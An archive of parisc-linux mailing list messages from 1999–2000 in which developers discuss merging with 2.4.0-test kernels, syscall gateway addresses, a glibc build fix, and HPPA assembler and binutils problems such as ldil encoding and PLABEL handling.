
From - Thu Nov 08 21:13:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] merge with 2.4.0-testN?
Date: Wed, 09 Aug 2000 21:23:05 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <200008100423.VAA04954@milano.cup.hp.com>
References: <20000809215833.L993@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619038 2138 80.91.229.3 (22 Nov 2014 01:17:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Thu Aug 10 04:20:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA25796
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Aug 2000 04:20:14 -0600
Original-Received: (qmail 23427 invoked by uid 15267); 10 Aug 2000 04:20:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23420 invoked from network); 10 Aug 2000 04:20:27 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 10 Aug 2000 04:20:27 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id D26F520F; Wed,  9 Aug 2000 21:20:24 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA04954;
	Wed, 9 Aug 2000 21:23:06 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 09 Aug 2000 21:58:33 PDT."
             <20000809215833.L993@vodka.thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7670

Matthew Wilcox wrote:
> 
> it's been well over 2 months since we last merged Linus' tree into ours.
> i'm thinking about leaving the -test6 patch to mature over the next week
> or so, see if there's any cripplingly awful bug reports and, if not,
> merge -test6 into our tree.  if there are, -test4 had some good reviews,
> i might consider that instead.


Mathew,
ok with me. either way.

> i'm going to tentatively set a date as Thursday 16th August for this.
> if you've got any big changes outstanding, now would be an excellent
> time to commit them before the landscape shifts under our feet.

San Jose, LWE is on until Aug 17th. We will have a RH linux PC, 712, A180
and internet access during the show...so Matt and I might be able to help
some anyway if the HP booth is wonderfully boring. :^)

BTW, should we move to a "linux" or "linux-2.4" repository?
I have no clue what the mechanics are of doing such a move but
this merge might be a good time to do it.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <helgaas@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 14:46:52 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <199903252046.OAA08061@helgaaspc.rsn.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619039 2140 80.91.229.3 (22 Nov 2014 01:17:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:19 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: helgaas@helgaaspc.rsn.hp.com  Thu Mar 25 15:47:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id PAA28015
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 15:47:06 -0500
Original-Received: (qmail 15710 invoked by uid 15267); 25 Mar 1999 20:45:51 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 15703 invoked from network); 25 Mar 1999 20:45:50 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 20:45:50 -0000
Original-Received: from mailhost.rsn.hp.com (root@idiot.rsn.hp.com [15.99.200.11])
	by atlrel1.hp.com (8.8.6 (PHNE_14041)/8.8.5tis) with ESMTP id PAA22646
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 15:46:44 -0500 (EST)
Original-Received: from helgaaspc.rsn.hp.com (root@helgaaspc.rsn.hp.com [15.99.148.145])
	by mailhost.rsn.hp.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id OAA04242
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 14:46:53 -0600 (CST)
Original-Received: from helgaaspc.rsn.hp.com (helgaas@localhost [127.0.0.1])
	by helgaaspc.rsn.hp.com (8.8.7/8.8.7) with ESMTP id OAA08061
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 14:46:52 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7671

Cary Coutant wrote
>
>I'd suggest *not* using the same gateway page address as HP-UX. If you 
>do, you won't be able to develop a later kernel extension to support 
>HP-UX binaries, unless you allocate syscall numbers carefully.

If Linux uses a different gateway page address than HP-UX (which I
think is a good idea), why not use a strategy like that used for
64-bit HP-UX apps, where the kernel supplies the address in a
register at application startup?


From - Thu Nov 08 21:13:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] merge with 2.4.0-testN?
Date: Wed, 09 Aug 2000 22:36:24 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <39923147.1140E9AE@uswest.net>
References: <200008100423.VAA04954@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619039 2143 80.91.229.3 (22 Nov 2014 01:17:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:19 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rbradetich@uswest.net  Thu Aug 10 04:36:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA25975
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Aug 2000 04:36:15 -0600
Original-Received: (qmail 1542 invoked by uid 15267); 10 Aug 2000 04:36:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1517 invoked from network); 10 Aug 2000 04:36:26 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 10 Aug 2000 04:36:26 -0000
Original-Received: (qmail 86618 invoked by alias); 10 Aug 2000 04:36:24 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 86603 invoked by uid 0); 10 Aug 2000 04:36:24 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 10 Aug 2000 04:36:24 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7672

Will the port name change from parisc to hppa at this time too?

ie... Will the following directories change?

Documentation/parisc
arch/parisc
arch/parisc64
include/asm-parisc
include/asm-parisc64

Let me know when/where and I'll do what I can to help with the merge.

Thanks,

Ryan


Grant Grundler wrote:

> Matthew Wilcox wrote:
> >
> > it's been well over 2 months since we last merged Linus' tree into ours.
> > i'm thinking about leaving the -test6 patch to mature over the next week
> > or so, see if there's any cripplingly awful bug reports and, if not,
> > merge -test6 into our tree.  if there are, -test4 had some good reviews,
> > i might consider that instead.
>
> Mathew,
> ok with me. either way.
>
> > i'm going to tentatively set a date as Thursday 16th August for this.
> > if you've got any big changes outstanding, now would be an excellent
> > time to commit them before the landscape shifts under our feet.
>
> San Jose, LWE is on until Aug 17th. We will have a RH linux PC, 712, A180
> and internet access during the show...so Matt and I might be able to help
> some anyway if the HP booth is wonderfully boring. :^)
>
> BTW, should we move to a "linux" or "linux-2.4" repository?
> I have no clue what the mechanics are of doing such a move but
> this merge might be a good time to do it.
>
> thanks,
> grant
>
> Grant Grundler
> Unix Systems Enablement Lab
> +1.408.447.7253
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:13:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] recipe
Date: Thu, 10 Aug 2000 00:36:49 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <39924D81.A570C814@uswest.net>
References: <39864BF4.4FD098D0@linuxcare.com> <3990EB35.D33C40BF@uswest.net> <87n1imo77k.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619039 2146 80.91.229.3 (22 Nov 2014 01:17:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:19 +0000 (UTC)
Cc: Tara Dear <tdear@linuxcare.com>, parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: rbradetich@uswest.net  Thu Aug 10 06:36:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA26480
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Aug 2000 06:36:38 -0600
Original-Received: (qmail 10252 invoked by uid 15267); 10 Aug 2000 06:36:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10243 invoked from network); 10 Aug 2000 06:36:51 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 10 Aug 2000 06:36:51 -0000
Original-Received: (qmail 12959 invoked by alias); 10 Aug 2000 06:36:50 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 12935 invoked by uid 0); 10 Aug 2000 06:36:49 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 10 Aug 2000 06:36:49 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7673

David,

Thanks for the glibc fix.  That solved the problem.  I have
successfully built all the tools using the recipe.

- Ryan

David Huggins-Daines wrote:

> Ryan Bradetich <rbradetich@uswest.net> writes:
>
> > Unfortunately, the current glibc cvs source will not build for me
>
> > ../sysdeps/unix/sysv/linux/sigaction.c: In function `__sigaction':
> > ../sysdeps/unix/sysv/linux/sigaction.c:77: structure has no member named
> > `sa_restorer'
>
> Urgh.  This is my fault.  Sorry, I forgot to actually test that patch
> to glibc it seems.  Fixing it now.
>
> --
> dhd@linuxcare.com, http://www.linuxcare.com/
> Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T.J. Yang" <tj_yang@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] off topic.
Date: Thu, 10 Aug 2000 11:42:59 EDT
Lines: 36
Approved: news@gmane.org
Message-ID: <F182FacDCkhZkNBpZwB000046f6@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416619039 2147 80.91.229.3 (22 Nov 2014 01:17:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:19 +0000 (UTC)
To: catfish@alltel.net, parisc-linux@thepuffingroup.com
Original-X-From: tj_yang@hotmail.com  Thu Aug 10 15:43:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA29467
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Aug 2000 15:43:18 -0600
Original-Received: (qmail 3271 invoked by uid 15267); 10 Aug 2000 15:43:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3259 invoked from network); 10 Aug 2000 15:43:28 -0000
Original-Received: from f182.law8.hotmail.com (HELO hotmail.com) (216.33.241.182)
  by mailserv2.iuinc.com with SMTP; 10 Aug 2000 15:43:28 -0000
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 10 Aug 2000 08:42:59 -0700
Original-Received: from 129.188.33.221 by lw8fd.law8.hotmail.msn.com with HTTP;	Thu, 10 Aug 2000  GMT
X-Originating-IP: [129.188.33.221]
X-OriginalArrivalTime: 10 Aug 2000 15:42:59.0120 (UTC) FILETIME=[A8EA5300:01C002E1]
Xref: news.gmane.org gmane.linux.ports.parisc:7674

My experience from 712/60-100 workstations is that
"boot scsi.3.0"(cd rom scsi id = 3) won't boot up unless you
type "BOOT SCSI.3.0".

Help it helps your problem and Good luck

tj




>From: "T. Martin" <catfish@alltel.net>
>To: parisc-linux@thepuffingroup.com
>Subject: [parisc-linux] off topic.
>Date: Wed, 9 Aug 2000 21:32:45 -0500 (CDT)
>
>  Hello,
>  I know this is off topic but I have got a copy of NeXT (sparc HPPA
>Intel) I can get the Intel and sparc to install fine but I'm trying to use
>the sun external cdrom on my HP 715/75 to install from and it will not
>boot off the cdrom.
>  If anyone has done this let me know please. off the list.
>Terry
>
>
>catfish: icq #20116127
>
>
>---------------------------------------------------------------------------
>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.
>

________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com


From - Thu Nov 08 21:13:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit binutils problem
Date: Thu, 10 Aug 2000 18:06:24 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <20000810180624.J10843@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619040 2149 80.91.229.3 (22 Nov 2014 01:17:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Aug 10 23:20:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA32152
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Aug 2000 23:20:19 -0600
Original-Received: (qmail 30209 invoked by uid 15267); 10 Aug 2000 23:20:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29446 invoked from network); 10 Aug 2000 23:18:04 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 10 Aug 2000 23:18:04 -0000
Original-Received: (qmail 22343 invoked from network); 10 Aug 2000 23:11:00 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 10 Aug 2000 23:11:00 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id SAA14594
	for parisc-linux@thepuffingroup.com; Thu, 10 Aug 2000 18:06:24 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7675


ok, i'm in way over my head here.

in arch/parisc64/real/head.S:

        /* And the return address(es) too */
        ldil            L%start_parisc,%r10
        ldo             R%start_parisc(%r10),%r10
        depdi           0, 31, 32, %r10
        mtctl           %r10,%cr18
        ldo             4(%r10),%r10
        mtctl           %r10,%cr18

which (after linking) becomes:

    c0100074:   21 42 28 07     ldil -3fcfb000,r10
    c0100078:   35 4a 09 c0     ldo 4e0(r10),r10
    c010007c:   f5 40 0c 00     depdi 0,31,32,r10
    c0100080:   02 4a 18 40     mtctl r10,pcoq
    c0100084:   35 4a 00 08     ldo 4(r10),r10
    c0100088:   02 4a 18 40     mtctl r10,pcoq

however, C03054E0 is in the middle of gateway_init and start_parisc is
nowhere to be found, except as:

0000000000000000       F *UND*  0000000000000304 start_parisc

which seems rather bogus to me.  i'll put my compiled kernel tree up on
pehc:/home/willy/parisc64/ in a few moments.

p.s.  does anyone want to change the `-3fcfb000' to an unsigned representation?
this would please me more:

    c0100074:   21 42 28 07     ldil ffffffffc0305000,r10
    c0100078:   35 4a 09 c0     ldo 4e0(r10),r10
    c010007c:   f5 40 0c 00     depdi 0,31,32,r10

as it would make it more clear exactly what's going on.


p.p.s.  anyone know why my piece of debug code:

        ldil            0xdecf0000, %r9

is getting assembled as:

    c0100000:   21 20 0f 00     ldil 78000000,r9

? ser pim hpmc dumps show the value 78000008 in r9, so i'm convinced it's
not objdump misdisassembling it.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: Fri, 11 Aug 2000 17:32:33 +1000 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008111648380.29780-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0008111413410.29780-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619040 2153 80.91.229.3 (22 Nov 2014 01:17:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Fri Aug 11 07:33:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA20114
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Aug 2000 07:33:27 -0600
Original-Received: (qmail 30851 invoked by uid 15267); 11 Aug 2000 07:33:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30815 invoked from network); 11 Aug 2000 07:33:38 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 11 Aug 2000 07:33:38 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA08071;
	Fri, 11 Aug 2000 17:32:33 +1000
In-Reply-To: <Pine.LNX.4.21.0008111413410.29780-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7676

On 10 Aug 2000, David Huggins-Daines wrote:

> Oh boy, it's worse.  It looks like $$dyncall has been clobbering %r19
> with bogus values all along, actually, because we're only using four
> bytes for our PLABELs, and it wants to load the linkage table pointer
> from the second (non-existent) word:
>

Hi David,

On thinking about this $$dyncall issue a bit more, what use are PLABELs in
PIC code anyway?  As far as I can see, PLABELs are used for two things:
1) to provide an unique address for a function
2) as a place to hang argument relocation information

We're not doing (2), and (1) is satisfied by the value in the PLTGOT.

So...  I can turn a PLABEL reference into a GOT reference, which will
magically fix the $$dyncall problem.

Comments?

Alan Modra
-- 
Linuxcare.  Support for the Revolution.




From - Thu Nov 08 21:13:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit binutils problem
Date: Fri, 11 Aug 2000 21:51:35 +1000 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008112139580.29780-100000@front.linuxcare.com.au>
References: <20000810180624.J10843@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619040 2160 80.91.229.3 (22 Nov 2014 01:17:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: alan@linuxcare.com.au  Fri Aug 11 11:52:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA21224
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Aug 2000 11:52:29 -0600
Original-Received: (qmail 11750 invoked by uid 15267); 11 Aug 2000 11:52:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11727 invoked from network); 11 Aug 2000 11:52:40 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 11 Aug 2000 11:52:40 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA16176;
	Fri, 11 Aug 2000 21:51:35 +1000
In-Reply-To: <20000810180624.J10843@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7677

On Thu, 10 Aug 2000, Matthew Wilcox wrote:

> p.p.s.  anyone know why my piece of debug code:
> 
>         ldil            0xdecf0000, %r9
> 
> is getting assembled as:
> 
>     c0100000:   21 20 0f 00     ldil 78000000,r9

You've told the assembler to plug in the constant 0xdecf0000 to a ldil
instruction.  ldil has a 21 bit field so you only get the bottom 21 bits
of your constant.  The number they represent is the constant shifted
left by 11 bits.  Just happens to be 78000000  :-)

Try "ldil L%0xdecf000,%r9"

'twould be a lot nicer if "objdump -d" produced output that could be fed
back into the assembler, in which case you'd see the L%.  I may even fix
it one day when I find I have nothing to do...

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: Fri, 11 Aug 2000 06:30:36 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <1523.965997036@upchuck>
References: <Pine.LNX.4.21.0008111648380.29780-100000@front.linuxcare.com.au>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619041 2164 80.91.229.3 (22 Nov 2014 01:17:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:21 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com,
        parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Fri Aug 11 12:31:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA21740
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Aug 2000 12:31:57 -0600
Original-Received: (qmail 6038 invoked by uid 15267); 11 Aug 2000 12:32:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5584 invoked from network); 11 Aug 2000 12:31:03 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 11 Aug 2000 12:31:03 -0000
Original-Received: from upchuck.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id FAA05324
	for <parisc-linux@thepuffingroup.com>; Fri, 11 Aug 2000 05:30:58 -0700 (PDT)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id GAA01526;
	Fri, 11 Aug 2000 06:30:36 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 11 Aug 2000 17:32:33 +1000.
             <Pine.LNX.4.21.0008111648380.29780-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7678


  In message <Pine.LNX.4.21.0008111648380.29780-100000@front.linuxcare.com.au>y
ou write:
  > 
  > Hi David,
  > 
  > On thinking about this $$dyncall issue a bit more, what use are PLABELs in
  > PIC code anyway?  As far as I can see, PLABELs are used for two things:
  > 1) to provide an unique address for a function
  > 2) as a place to hang argument relocation information
  > 
  > We're not doing (2), and (1) is satisfied by the value in the PLTGOT.
  > 
  > So...  I can turn a PLABEL reference into a GOT reference, which will
  > magically fix the $$dyncall problem.
  > 
  > Comments?
The other way it's used is to handle intra-space calls/returns.  I don't know
if that's an issue for y'all or not.

jeff

jeff


From - Thu Nov 08 21:13:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: Fri, 11 Aug 2000 10:56:47 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <20000811105647.N10843@vodka.thepuffingroup.com>
References: <Pine.LNX.4.21.0008111648380.29780-100000@front.linuxcare.com.au> <1523.965997036@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619041 2170 80.91.229.3 (22 Nov 2014 01:17:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:21 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>,
        David Huggins-Daines <dhd@linuxcare.com>,
        parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Jeffrey A Law <law@cygnus.com>
Original-X-From: willy@thepuffingroup.com  Fri Aug 11 16:01:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA22714
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Aug 2000 16:01:38 -0600
Original-Received: (qmail 21984 invoked by uid 15267); 11 Aug 2000 16:01:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21876 invoked from network); 11 Aug 2000 16:01:48 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 11 Aug 2000 16:01:48 -0000
Original-Received: (qmail 24261 invoked from network); 11 Aug 2000 16:01:24 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 11 Aug 2000 16:01:24 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id KAA19154;
	Fri, 11 Aug 2000 10:56:47 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <1523.965997036@upchuck>; from Jeffrey A Law on Fri, Aug 11, 2000 at 06:30:36AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7679

